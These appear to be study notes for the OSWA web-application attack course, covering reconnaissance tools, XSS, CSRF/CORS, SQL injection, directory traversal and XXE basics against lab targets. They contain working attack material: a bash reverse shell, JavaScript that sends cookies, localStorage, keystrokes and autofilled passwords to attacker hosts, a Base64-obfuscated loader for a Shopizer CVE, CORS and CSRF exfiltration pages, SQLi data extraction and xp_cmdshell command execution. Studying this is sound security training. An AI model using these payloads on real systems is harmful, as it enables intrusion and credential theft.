OSWA Course
OSWA Course Study Notes - Part 1
Chapter 2: Tools
Overview
Essential penetration testing tools for web application assessments. Focus on reconnaissance, scanning, and enumeration before exploitation.
System Configuration
Basic setup for targeting test environments via /etc/hosts entries.
# Edit hosts file
sudo mousepad /etc/hosts
# Example entries
192.168.50.101 offsecwp
192.168.50.102 execsandbox
192.168.121.101 xss-sandbox
192.168.121.102 shopizer
Why: Allows testing of multiple vulnerable environments on local network without DNS resolution.
Nmap - Network Scanning
Port scanning and service discovery for identifying running services.
# Basic scan
nmap -p- <target>
# Service version detection
nmap -sV <target>
# HTTP-related scripts
ls /usr/share/nmap/scripts | grep -i http
Why: Identifies open ports and running services that may be vulnerable web applications.
Burp Suite - Web Proxy & Testing
Intercept and analyze HTTP traffic for web application testing.
# Start Burp Suite
burpsuite
# Turn off Intercept in Proxy tab
# Open embedded browser with "Open Browser" button
# Configure proxy on port 8080
Features:
- Proxy: Intercept requests/responses
- Repeater: Resend modified requests
- Intruder: Fuzz parameters with wordlists
- Decoder: Encode/decode data (Base64, URL, etc.)
- Site Map: View discovered resources
Why: Central platform for capturing, analyzing, and modifying HTTP traffic during assessments.
Gobuster - Directory Enumeration
Discover hidden files and directories via brute-force.
# Basic directory scan
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/common.txt
# With status code filtering
gobuster dir -u http://target -w wordlist.txt -s 200,301
Why: Uncovers hidden endpoints and administrative paths not linked from main pages.
Wfuzz - Parameter Fuzzing
Flexible fuzzing for discovering parameters, directories, and values.
# Fuzz directories
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
--hc 404,403,301 "http://target/FUZZ"
# Fuzz parameter names
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
--hc 404,301 "http://target?FUZZ=value"
# Fuzz POST parameters with password list
wfuzz -c -z file,/usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt \
--hc 404 -d "log=admin&pwd=FUZZ" --hh 7201 "http://target"
Why: Systematically tests many parameter combinations and values to find valid inputs.
Hakrawler - Web Crawler
Automated crawling to discover URLs and endpoints.
# Install hakrawler
which hakrawler
# Crawl target
echo "http://target" | ./hakrawler
# Crawl from URL list
cat urls.txt | ./hakrawler
Why: Automatically discovers application structure and entry points for testing.
Wordlists - SecLists
Pre-compiled lists of common values for fuzzing.
# Browse available lists
ls -lsa /usr/share/seclists/
# Common discovery wordlists
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
/usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt
Custom Wordlist Generation - CeWL
Generate custom wordlists from target website content.
# Install/check CeWL
cewl --help
# Generate wordlist from website
cewl -d 2 -m 5 http://target -o wordlist.txt
# Check generated wordlist
ls -lsa wordlist.txt
cat wordlist.txt
Why: Creates targeted wordlists with domain-specific terminology for more effective fuzzing.
Reverse Shells
Payloads for establishing reverse connections from target to attacker machine.
# Start listener (nc/netcat)
nc -lvnp 4444
# Start listener (bash)
bash -i >& /dev/tcp/192.168.49.51/4444 0>&1
# Common shell technologies: PHP, ASP, JSP, etc.
Why: Enables command execution on compromised systems once vulnerabilities are exploited.
Chapter 3: Cross-Site Scripting - Introduction and Discovery
Overview
XSS exploits trust users have in visited sites by injecting content dynamically rendered in browsers. Named misleadingly - doesn't require "cross-site" or "scripting"; better termed JavaScript/HTML injection.
Key Concept
Vulnerability exists in output, not input. Application must output untrusted input for XSS to work. Input filtering alone is insufficient - proper output encoding is required.
XSS Types
Classification by Persistence
- Reflected: Payload only exploited via crafted link/redirect. Single victim.
- Stored: Payload saved to database. Multiple victims via normal site navigation. More dangerous.
Classification by Location
- Server XSS: Server appends untrusted input to HTML response
- Client XSS: Client-side JavaScript appends untrusted input to DOM. Harder to discover (requires browser rendering).
JavaScript Fundamentals for Exploitation
Document API - Access Page Content
// Get input elements
let inputs = document.getElementsByTagName("input")
// Extract values
for (let input of inputs) {
console.log(input.value)
}
// Query all forms
document.getElementsByTagName("form")
Why: Allows reading user inputs, passwords, and form data.
Window API - Global Context
// Access current URL
window.location
// Display alert (proof of concept)
alert("XSS")
window.alert("message")
Why: Can redirect users or display messages.
Event Listeners - Capture Keystrokes
function logKey(event) {
console.log(event.key)
}
// Listen for keydown events
document.addEventListener('keydown', logKey)
Why: Captures user typing including passwords, messages, and search queries.
Fetch API - Exfiltrate Data
// Basic fetch request
fetch("http://attacker.com/endpoint")
// Include data in query string
fetch("http://attacker.com/k?key=" + event.key)
// Exfiltrate with encoding
let encodedCookie = encodeURIComponent(document.cookie)
fetch("http://attacker.com/exfil?data=" + encodedCookie)
Why: Sends captured data from victim's browser to attacker's server. Same-Origin Policy allows requests to attacker's domain.
Local Storage Access
// Convert localStorage to string
let data = JSON.stringify(localStorage)
// Encode and exfiltrate
let encodedData = encodeURIComponent(data)
fetch("http://attacker.com/exfil?data=" + encodedData)
Why: Extracts API keys, tokens, and sensitive data stored by web application.
XSS Discovery & Testing
Step 1: HTML Injection Test
First test if basic HTML tags render (lower risk than JavaScript).
# Test payload - inject in search parameter
<h1>test</h1>
Why: Confirms output is not escaped. If HTML renders, likely vulnerable to XSS.
Step 2: Reflected Server XSS
# Standard alert payload
<script>alert(0)</script>
# URL-encoded version
search.php?s=%3Cscript%3Ealert%280%29%3C%2Fscript%3E
Exploitation:
- Identify parameter that appears in response
- Inject JavaScript payload
- Confirm execution in your browser
- Use Burp Suite to verify server reflects payload in response
- Send crafted link to victim
Why: Server explicitly outputs unfiltered user input.
Step 3: Stored Server XSS
# Post comment with payload
<script>alert(0)</script>
# If filtered, try username parameter
<h1>John</h1><script>alert(0)</script>
Exploitation:
- Find POST parameter (comment, profile field, etc.)
- Test with HTML injection
- If HTML renders, inject JavaScript
- Payload stored in database and executed for all visitors
Why: Any user visiting page triggers exploit without special link.
Step 4: Client XSS (innerHTML Bypass)
Server responds with Welcome, User! but client JavaScript updates with URL parameter:
// Vulnerable pattern - innerHTML doesn't execute script tags
document.getElementById("welcome").innerHTML = userInput
HTML script tags won't execute via innerHTML. Use event handlers instead:
# Payload that bypasses innerHTML restriction
<img src='x' onerror='alert(1)'>
# Other event handlers
onload="alert(1)"
onfocus="alert(1)"
onclick="alert(1)"
Why: Event handlers execute when elements are added to DOM, even via innerHTML.
XSS Sandbox Testing Environment
Setup
# Add hosts entry
192.168.121.101 xss-sandbox
# Access at browser
http://xss-sandbox
Vulnerable Applications
- Eval: JavaScript console auto-executed by victim
- Search: Reflected server XSS
- Blog: Stored server XSS with filtering
- Survey: DOM/Client XSS
- Donate/RSVP: Additional client XSS targets
Control Panel Options
- Use HttpOnly Cookie
- Use Non-HttpOnly Cookie
- Blindly enter credentials (phishing simulation)
- Used stored password (password manager simulation)
- Simulate keystrokes
- Data in Local Storage
Why: Allows testing exploits against simulated victims with various configurations.
Key Discovery Tools
Browser Console
# Open Firefox console
C + B + k
# Navigate to blank page first
about:blank
# Type "allow pasting" before pasting code
Why: Test JavaScript payloads locally before injecting into application.
Network Tab - Verify Client XSS
- Open Firefox Network tab (C+Shift+e)
- Reload page
- Click request
- View Response tab - confirms server didn't append payload
- Payload must be added by client JavaScript
Why: Distinguishes server XSS from client XSS.
Page Reset
# Visit reset endpoint to clear database
http://xss-sandbox/reset
Why: Clears stored XSS payloads to restart testing cleanly.
Chapter 4: Cross-Site Scripting - Exploitation and Case Study
Overview
Beyond proof-of-concept alerts. Real-world exploitation targets data exfiltration, credential theft, and unauthorized actions. Demonstrates actual attack vectors.
External Payload Loading
Instead of inline JavaScript in URL, load complex payloads from external server.
Setup Attacker Server
# Create directory
mkdir ~/xss
cd ~/xss
# Create simple JavaScript file
echo "alert(1)" > xss.js
# Start HTTP server
python3 -m http.server 80
# Server listens on port 80, serves files from ~/xss
Inject Script Tag
# Payload (reflected XSS)
<script src="http://192.168.49.51/xss.js"></script>
Why: Allows hosting complex exploits without URL encoding limits. External requests logged to attacker's server.
Cookie Exfiltration
Non-HttpOnly Cookies
// xss.js - Exfiltrate cookies
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://192.168.49.51/exfil?data=" + encodedCookie)
Why: Non-HttpOnly cookies accessible to JavaScript. Can be sent to attacker.
HttpOnly Cookies - Blocked
// This will return empty if HttpOnly flag set
document.cookie // Result: empty string
Why: HttpOnly flag prevents JavaScript access. Browser protection against XSS.
Local Storage Exfiltration
// xss.js - Extract localStorage
let data = JSON.stringify(localStorage)
let encodedData = encodeURIComponent(data)
fetch("http://192.168.49.51/exfil?data=" + encodedData)
HTTP Log Output:
GET /exfil?data=%7B%22token%22%3A%22example-token%22%7D
Why: Applications store API keys and tokens in localStorage. JavaScript has full access.
Keylogging
Capture all keystrokes on the page while victim is viewing it.
// xss.js - Log every keystroke
function logKey(event) {
fetch("http://192.168.49.51/k?key=" + event.key)
}
document.addEventListener('keydown', logKey)
HTTP Log Output:
GET /k?key=D
GET /k?key=i
GET /k?key=v
GET /k?key=o
GET /k?key=r
GET /k?key=c
GET /k?key=e
Why: Captures passwords, messages, search queries typed into page. Limited to current document only.
Password Manager Credential Theft
Password managers auto-fill username/password fields. Create hidden form fields to capture auto-filled credentials.
// xss.js - Create hidden login form for auto-fill
let body = document.getElementsByTagName("body")[0]
// Create username input
var u = document.createElement("input")
u.type = "text"
u.style.position = "fixed"
u.style.opacity = "0" // Invisible
// Create password input
var p = document.createElement("input")
p.type = "password"
p.style.position = "fixed"
p.style.opacity = "0" // Invisible
body.append(u)
body.append(p)
// Wait 5 seconds for password manager to auto-fill
setTimeout(function() {
fetch("http://192.168.49.51/k?u=" + u.value + "&p=" + p.value)
}, 5000)
HTTP Log Output:
GET /k?u=Ryuggy&p=ShavedHeadsFTW
Why: Password managers auto-fill matching forms. Hidden inputs capture credentials undetected.
Phishing via Form Hijacking
Replace entire page content with fake login form. Redirect submission to attacker.
// xss.js - Fetch login page and redirect form
fetch("login").then(res => res.text().then(data => {
// Replace entire page with login form
document.getElementsByTagName("html")[0].innerHTML = data
// Change form target to attacker server
document.getElementsByTagName("form")[0].action = "http://192.168.49.51"
// Use GET so credentials appear in URL logs
document.getElementsByTagName("form")[0].method = "get"
}))
HTTP Log Output:
GET /?username=gullible&password=IMaybeGullibleButMyPasswordsAreStrong
Why: Users trust familiar login pages. Form hijacking captures credentials when user re-authenticates.
Case Study: Shopizer Reflected XSS (CVE-2021-33562)
Target Application
Open-source e-commerce platform (Java). Unauthenticated XSS vulnerability in product browsing.
Vulnerability Discovery
URL pattern identified:
http://shopizer:8080/shop/handbags?ref=c:2
Note: Parameter without ? prefix - embedded in path. The ref value appears in inline JavaScript.
Testing for Injection
Step 1: HTML Canary Test
# Add canary string to check reflection
?ref=c:2canary
Search page source for "canary" - if found, parameter is reflected in JavaScript.
Step 2: String Escape
# Inject single quote to break out of string
?ref=c:2'canary
Result: JavaScript syntax error. Confirms injection point but breaks page.
Step 3: Semicolon Blocked
# Try basic alert - blocked by firewall/server
?ref=c:2';alert(1);'canary
# Result: Request blocked - semicolon filtered
Step 4: Alternative Operators
# Use plus signs instead of semicolons
?ref=c:2'+alert(1)+'canary
# Result: Alert box displays - Success!
Why: Semicolons often filtered in URLs. Plus signs concatenate strings - valid JavaScript without semicolons.
External Payload Loading
Challenge: Complex payloads exceed URL length limits.
Detection: Application loads jQuery library.
// Use jQuery's getScript() to load external JavaScript
$.getScript('http://192.168.49.51/xss.js')
Problem: Special characters in URL get blocked.
Solution: Base64 encode the payload and decode at runtime.
# Payload to encode
$.getScript('http://192.168.49.51/xss.js')
# Base64 encode using Burp Decoder
alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk=
# Wrap in atob() to decode and eval() to execute
eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk='))
# Surround with quotes and plus signs to inject into string
?ref=c:2'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk='))+'canary
Problem: getScript() returns invalid characters in URL.
Solution: Base64 encode the response with btoa().
# Final payload
?ref=c:2'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnaHR0cDovLzE5Mi4xNjguNDkuNTEveHNzLmpzJyk=')))+'canary
Why: Chained Base64 encoding/decoding allows complex payloads through restricted URLs.
Application-Specific Attack
Session Token Protection: JSESSIONID has HttpOnly flag - can't steal directly.
Alternative: Use XSS to make authenticated requests on behalf of victim.
Target Functionality: Shipping address change endpoint.
POST /shop/customer/updateAddress.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address
JavaScript Payload:
// xss.js - Change victim's shipping address
fetch('http://shopizer:8080/shop/customer/updateAddress.html', {
method: 'POST',
mode: 'same-origin',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'customerId=&billingAddress=false&firstName=hax&lastName=hax&company=&address=hax&city=hax&country=AL&stateProvince=z&postalCode=z&phone=z&submitAddress=Change address'
})
Why: Browser automatically includes JSESSIONID cookie. Request appears to come from authenticated user.
Chapter 5: Cross-Origin Attacks
Overview
Attacks exploiting how browsers handle cross-origin requests and cookies. Targets authenticated sessions on vulnerable applications.
Same-Origin Policy (SOP)
Origin: Scheme + Domain + Port
https://example.com:443
https://example.com:8443 <- Different port = Different origin
https://sub.example.com <- Different subdomain = Different origin
http://example.com <- Different scheme = Different origin
Core Rules:
- Script can access content from same origin without restriction
- Script cannot read response from different origin (blocked by SOP)
- Cookies automatically included in requests to same origin only
Important: Script CAN make request to different origin (no SOP block), but cannot read the response.
Cookie Behavior & SOP
Same-Origin Only
// From https://example.com
fetch('https://example.com/api') // Cookies included - SOP allows
Cross-Origin Requests
// From https://example.com
fetch('https://attacker.com') // Request sent, but can't read response
Browser allows the request but blocks reading the response. However, cookies are NOT automatically included in cross-origin requests by default.
SameSite Cookie Attribute
Controls when cookies are sent in cross-origin requests.
SameSite=Strict (Most Restrictive)
Set-Cookie: session=abc123; SameSite=Strict
Cookie not sent in ANY cross-origin requests, even top-level navigation.
SameSite=Lax (Default in Modern Browsers)
Set-Cookie: session=abc123; SameSite=Lax
Cookie sent only in:
- Top-level navigation (link click, form submission via GET)
- NOT in subresource requests (img, script, fetch, XMLHttpRequest from different origin)
SameSite=None (Least Restrictive)
Set-Cookie: session=abc123; SameSite=None; Secure
Cookie sent in all cross-origin requests. Requires HTTPS (Secure flag).
Cross-Site Request Forgery (CSRF)
Attack Vector: Trick authenticated user into making unwanted requests to vulnerable application.
Prerequisites
- User authenticated to target application
- User visits attacker's website
- Attacker's website makes request to target application
- Target application lacks CSRF protection
Exploitation Method 1: Form Auto-Submit
<!-- Attacker's website -->
<form action="http://target.com/transfer-money" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker">
</form>
<script>
document.forms[0].submit() // Auto-submit on page load
</script>
Why: Browser includes cookies in form submission. User's session cookie automatically sent with request.
Exploitation Method 2: Image Request (GET)
<!-- Attacker's website -->
<img src="http://target.com/api/transfer?amount=1000&to=attacker" style="display:none">
Why: Browser sends session cookies with image requests. Simple GET requests don't need forms.
CSRF Protection: CSRF Tokens
<!-- Protected form on target application -->
<form action="/transfer-money" method="POST">
<input type="hidden" name="csrf_token" value="random-unique-token">
<input type="text" name="amount">
<input type="submit">
</form>
Why: Attacker cannot read CSRF token from different origin (SOP blocks reading response). Without token, request fails.
CSRF Protection: SameSite Cookies
Set-Cookie: session=abc123; SameSite=Lax
With SameSite=Lax, cookies not sent in cross-origin POST requests. Attacker can't make authenticated requests.
Case Study: Apache OFBiz CSRF (CVE-2020-5410)
Vulnerability
XML-RPC endpoint allows creating accounts without CSRF token. Lax SameSite cookie doesn't protect GET requests.
Exploitation
Attacker's Website:
<img src="http://target:8080/webtools/control/main?login.username=hacker&login.password=password&requirePasswordChange=N">
Why:
- Target endpoint doesn't require CSRF token
- SameSite=Lax allows cookies in top-level navigation
- Hidden image loads silently, creating account
Mitigation
- Implement CSRF token validation
- Use SameSite=Strict for sensitive operations
- Validate request origins
Cross-Origin Resource Sharing (CORS)
Purpose: Allow servers to explicitly permit cross-origin requests from specific domains.
How CORS Works
Browser Request with Origin Header:
GET /api/user HTTP/1.1
Host: example.com
Origin: https://attacker.com
Server Response with CORS Header:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
{"username":"admin", "email":"admin@example.com"}
Result: Browser allows attacker.com to read the response.
Safe CORS Headers
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: false
Dangerous CORS Configuration 1: Wildcard Origin
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Problem: Any origin can access data. * with Credentials: true is invalid but some servers allow it.
Exploitation:
// Attacker's website
fetch('http://target.com/api/user', {
credentials: 'include'
}).then(res => res.json()).then(data => {
fetch('http://attacker.com/steal', {method: 'POST', body: JSON.stringify(data)})
})
Dangerous CORS Configuration 2: Dynamic Origin Validation
// Server reflects back user-provided Origin header
Access-Control-Allow-Origin: https://example.com (from request)
Access-Control-Allow-Credentials: true
Problem: Server trusts all origins if they match a pattern.
Exploitation:
// Attacker's website at https://exampleXcom (looks like example.com)
fetch('http://target.com/api/user', {
credentials: 'include'
})
Dangerous CORS Configuration 3: Null Origin
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Problem: Null origin can be generated by:
- Data URLs
- Sandboxed iframes
- Cross-origin redirects
Exploitation:
<!-- Sandboxed iframe generates null origin -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('http://target.com/api/admin', {credentials: 'include'})
.then(r => r.text())
.then(data => fetch('http://attacker.com/steal', {method: 'POST', body: data}))
</script>
">
</iframe>
Why: Server accepts null origin, JavaScript executes in sandbox, credentials sent automatically.
CORS Exploitation Techniques
Exploit to Read Sensitive Data
// Attacker's website
fetch('http://target.com/api/user/profile', {
method: 'GET',
credentials: 'include'
}).then(res => res.json())
.then(data => {
// Send data to attacker's server
fetch('http://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(data)
})
})
Exploit to Modify Data (if PUT/POST allowed)
// Change user email
fetch('http://target.com/api/user/email', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
})
Why: CORS allows browser to send any method if server permits. Credentials included if configured.
Bypass with Credentials in URL
Some APIs accept credentials in URL instead of cookies:
fetch('http://user:pass@target.com/api/data')
Why: Attacker can extract credentials if CORS misconfigured.
CORS Header Reference
| Header | Value | Purpose |
|---|---|---|
Access-Control-Allow-Origin | URL/*/null | Which origins can access response |
Access-Control-Allow-Credentials | true/false | Include cookies/auth headers |
Access-Control-Allow-Methods | GET, POST, PUT, DELETE | Which HTTP methods allowed |
Access-Control-Allow-Headers | Content-Type, Authorization | Which headers allowed in request |
Access-Control-Max-Age | seconds | How long to cache preflight response |
CORS Preflight Requests
For "complex" requests, browser sends OPTIONS request first:
OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
Why: Prevents old browsers/servers from receiving unwanted cross-origin requests.
Key Mitigation Strategies
- Implement CSRF tokens on state-changing operations
- Use SameSite cookies (Strict for sensitive, Lax for normal)
- Validate Origin/Referer headers server-side
- Never use CORS wildcard with credentials
- Whitelist specific origins instead of dynamic validation
- Avoid null origin if accepting CORS requests
- Implement proper authentication beyond cookies
OSWA Study Notes - Part 2: Chapters 6-9
Chapter 6: Introduction to SQL
SQL Fundamentals
SQL (Structured Query Language) is the standard language for interacting with relational databases. A relational database consists of tables with columns and rows. SQL injection occurs when unsanitized user input is inserted into queries and executed by the database, allowing attackers to break out of the original query and inject malicious actions.
Why this matters: Attackers can exploit SQL injection to bypass authentication, exfiltrate data, modify data, or write files to the server.
Basic SQL Syntax
SELECT * FROM menu;
SELECT * FROM menu WHERE id = 10;
SELECT * FROM menu WHERE LOWER(name) = LOWER('input_here');
SELECT * FROM menu WHERE LOWER(name) LIKE LOWER('%input_here%');
Why: These basic queries demonstrate SELECT statements, WHERE clauses, and string comparison functions.
MySQL Enumeration
Get database version:
select version();
Get current user:
select current_user();
List all databases:
select table_schema from information_schema.tables group by table_schema;
List tables in a database:
select table_name from information_schema.tables where table_schema = 'app';
Get column names and data types:
select column_name, data_type from information_schema.columns where table_schema = 'app' and table_name = 'menu';
Why: The information_schema database contains metadata about all databases, tables, and columns.
Microsoft SQL Server Enumeration
Get version:
select @@version;
Get current user:
SELECT SYSTEM_USER;
List databases:
SELECT name FROM sys.databases;
List tables in a database:
select * from app.information_schema.tables;
Get column names:
select COLUMN_NAME, DATA_TYPE from app.information_schema.columns where TABLE_NAME = 'menu';
Why: SQL Server uses sys catalog and @@version for enumeration, different from MySQL.
PostgreSQL Enumeration
Get version:
select version();
Get current user:
select current_user;
List databases:
select datname from pg_database;
List tables:
select table_name from app.information_schema.tables where table_schema = 'public';
Get columns:
select column_name, data_type from app.information_schema.columns where table_name = 'menu';
Why: PostgreSQL uses pg_database and information_schema for enumeration.
Oracle Database Enumeration
Get version:
select * from v$version;
Get current user:
select user from dual;
Important: Oracle requires a FROM clause with every SELECT; use DUAL (a dummy table) for selecting function results.
List schemas/users:
select owner from all_tables group by owner;
List tables in a schema:
select table_name from all_tables where owner = 'SYS' order by table_name;
Get columns:
select column_name, data_type from all_tab_columns where table_name = 'MENU';
Why: Oracle uses v$version, DUAL table, and all_tables/all_tab_columns for enumeration.
Chapter 7: SQL Injection
SQL Injection Fundamentals
SQL injection occurs when unsanitized user input is inserted into SQL queries. The attacker can "break out" of the intended query and inject malicious SQL code.
Example:
- Intended query:
SELECT * FROM menu WHERE id = 10 - Input:
10 or id=11 - Actual query:
SELECT * FROM menu WHERE id = 10 or id = 11(returns two rows)
Testing for SQL Injection
String Delimiter Testing
Test for injection by submitting single quotes:
Tostadas'
Resulting query with imbalanced quotes:
SELECT * FROM menu WHERE name = 'Tostadas''
Why: Three quotes cause a syntax error - the database expects a closing quote.
Escaping Functions and Closures
When SQL uses functions like LOWER(), you must close the function:
foo') or id=11--
Injected query:
SELECT * FROM menu WHERE LOWER(name) = LOWER('foo') or id=11-- ')
Why: The comment -- removes trailing syntax, preventing errors from extra parentheses and quotes.
LIKE Operator with Wildcards
Query with LIKE:
SELECT * FROM menu WHERE LOWER(name) LIKE LOWER('%input_here%')
Payload:
foo') or id=11--
Resulting query:
SELECT * FROM menu WHERE LOWER(name) LIKE LOWER('%foo') or id=11-- %')
Why: The wildcard % doesn't need escaping; only the quote and parenthesis are closed.
ORDER BY and Column Enumeration
Test sorting parameters:
SELECT * FROM menu ORDER BY 5 desc;
If 5 columns exist, this returns an error. Increment until error to determine column count.
Why: This enumerates the number of columns in the SELECT statement.
SQL Injection Discovery with wfuzz
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "db=mysql&id=FUZZ" -u http://sql-sandbox/api/intro
Useful payloads to look for:
0 or 1=1- Returns all rows--';- Creates syntax error
Why: Fuzzing with SQL wordlists identifies vulnerable parameters by looking for different response codes/sizes.
Exploiting SQL Injection
Error-Based Extraction
For MySQL, use ExtractValue() function:
extractvalue('',concat('>',version()))
Why: ExtractValue() expects valid XPath; an invalid one throws an error containing the concatenated data.
For Microsoft SQL Server, use CAST():
cast(@@version as integer)
Why: Converting a string to integer causes an error that displays the version.
For Oracle, use dbms_xmlgen.getxml():
to_char(dbms_xmlgen.getxml('select "'||(select substr(banner,0,30) from v$version where rownum=1)||'" from sys.dual'))
Why: Creates invalid column names in error messages that leak data.
UNION-Based Extraction
Determine column count and matching data types:
SELECT id, name, description, price FROM menu UNION ALL SELECT id, username, password, 0 from users
Why: UNION combines results from two queries; columns must match in count and type.
Stacked Queries
For PostgreSQL and MSSQL:
10; insert into users(id, username, password) values (1001,'hax','hax');
Why: Stacked queries execute multiple SQL statements sequentially. Useful for INSERT/UPDATE/DELETE when results aren't displayed.
File Reading and Writing
PostgreSQL - Create table and copy file contents:
create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;
Alternative using pg_read_file():
select pg_read_file('/etc/passwd')
Why: COPY reads files into tables; pg_read_file() reads without table creation.
MySQL - Write files with INTO OUTFILE:
SELECT * FROM users INTO OUTFILE '/var/lib/mysql-files/test.txt'
Read with LOAD_FILE():
SELECT LOAD_FILE('/var/lib/mysql-files/test.txt')
Why: INTO OUTFILE writes; LOAD_FILE() reads. Limited by secure_file_priv setting.
Remote Code Execution - Microsoft SQL Server
Enable xp_cmdshell:
EXECUTE sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
EXECUTE sp_configure 'xp_cmdshell', 1;
GO
RECONFIGURE;
GO
Execute commands:
EXECUTE xp_cmdshell 'command here';
Why: xp_cmdshell executes OS commands with SQL Server service account permissions.
Automated SQL Injection - sqlmap
Basic usage:
sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order"
Dump database:
sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --dbms=mysql --dump
Get OS shell:
sqlmap -u [url] --os-shell
Why: sqlmap automates SQL injection detection and exploitation across different database types.
Important: Use --flush-session when switching between databases.
Case Study: Piwigo Error-Based SQLi (CVE-2021-32615)
Vulnerable parameter: order[0][dir] in POST request
Initial test - confirm vulnerability:
asc,+extractvalue('',concat('>',version()))
Extract schema names using group_concat():
asc, extractvalue('',concat('>',(
select group_concat(table_schema)
from (
select table_schema
from information_schema.tables
group by table_schema)
as foo)
))
Extract table names:
asc, extractvalue('',concat('>',(
select group_concat(table_name)
from (
select table_name from information_schema.tables
where table_schema='piwigo')
as foo)
))
Extract column names:
asc, extractvalue('',concat('>',(
select group_concat(column_name)
from (
select column_name
from information_schema.columns
where table_schema='piwigo' and table_name='piwigo_users')
as foo)
))
Extract data with SUBSTRING() to handle 32-character XPATH error limit:
asc, extractvalue('',concat('>',(select substring(password,1,32) from piwigo_users limit 1 offset 0)))
Why: group_concat() aggregates multiple rows into one value for error-based extraction; SUBSTRING() extracts data in chunks.
Chapter 8: Directory Traversal Attacks
Directory Traversal Fundamentals
Directory traversal (path traversal, LFI - Local File Inclusion) occurs when applications perform file operations with unsanitized user input, allowing attackers to manipulate file paths and access unintended files.
Traversal Strings and Path Navigation
Traversal string basics:
cat ../../etc/passwd
../ = go up one directory
../../ = go up two directories
Why: Relative paths navigate the file system. Multiple ../ sequences traverse out of application directories.
URL Encoding
Common encodings for directory traversal:
%2F=/(forward slash)%2E=.(dot)%20=(space)%3D==(equals)
URL-encoded traversal:
GET /files/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Why: URL encoding bypasses client-side validation and some server-side filters.
Relative vs. Absolute Pathing
Absolute Path: Starts from the filesystem root
cat /etc/group
Relative Path: Starts from current directory
cat group
When in /etc/:
- Absolute:
/etc/group(same result from anywhere) - Relative:
group(only works from/etc/)
From /home/kali/ to reach /etc/group:
cat ../../etc/group
Why: Understanding both helps craft payloads for different application architectures.
Suggestive Parameters
Parameters that hint at file operations are good traversal targets:
?file=
?f=
/file/someFile
?location=
?l=
/location/someLocation
?search=
/search/someSearch
?download=
Why: Parameter names reveal intent; file-related parameters often handle unsanitized paths.
Directory Listing vs. Directory Traversal
Directory Listing: Can only view directory contents Directory Traversal: Can read file contents
Testing for directory traversal:
GET /var/www/html/data.txt
Using relative path:
GET /../../../etc/passwd
Why: Directory traversal is more severe; test for both capabilities.
Fuzzing with wfuzz
Basic fuzzing against directory traversal:
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://dirTravSandbox:80/relativePathing.php?path=../../../../../../../../../../FUZZ
Filter out false positives:
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 --hh 81,125 http://dirTravSandbox/relativePathing.php?path=../../../../../../../../../../../../FUZZ
Options:
-c= colored output-z= payload source--hc 404= hide 404 responses--hh 81,125= hide responses of specific character sizes
Why: Fuzzing identifies accessible files; filtering reduces noise from false positives.
Case Study: Home Assistant Directory Traversal
Vulnerable endpoint: /fontawesome/
Accessing /etc/passwd:
GET /fontawesome/../../../../../../../../../../../../etc/passwd
Finding Home Assistant configuration:
GET /fontawesome/../../../../../../configuration.yaml
Fuzzing for system files:
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 http://homeassistant:8123/fontawesome/../../../../../../../../../../../../FUZZ
Why: FontAwesome integration lacked input sanitization on the path parameter, allowing traversal to any file readable by the application.
Chapter 9: XML External Entities (XXE)
XML Fundamentals
XML documents contain markup (tags) and content. Basic XML structure:
<?xml version="1.0" encoding="UTF-8"?>
<contact>
<firstName>Tom</firstName>
<lastName>Jones</lastName>
</contact>
Why: XML is widely used for data interchange; understanding its structure is essential for XXE attacks.
XML Attributes
<?xml version="1.0" encoding="UTF-8"?>
<contacts>
<contact id="123">
<firstName>Tom</firstName>
<lastName>Jones</lastName>
</contact>
</contacts>
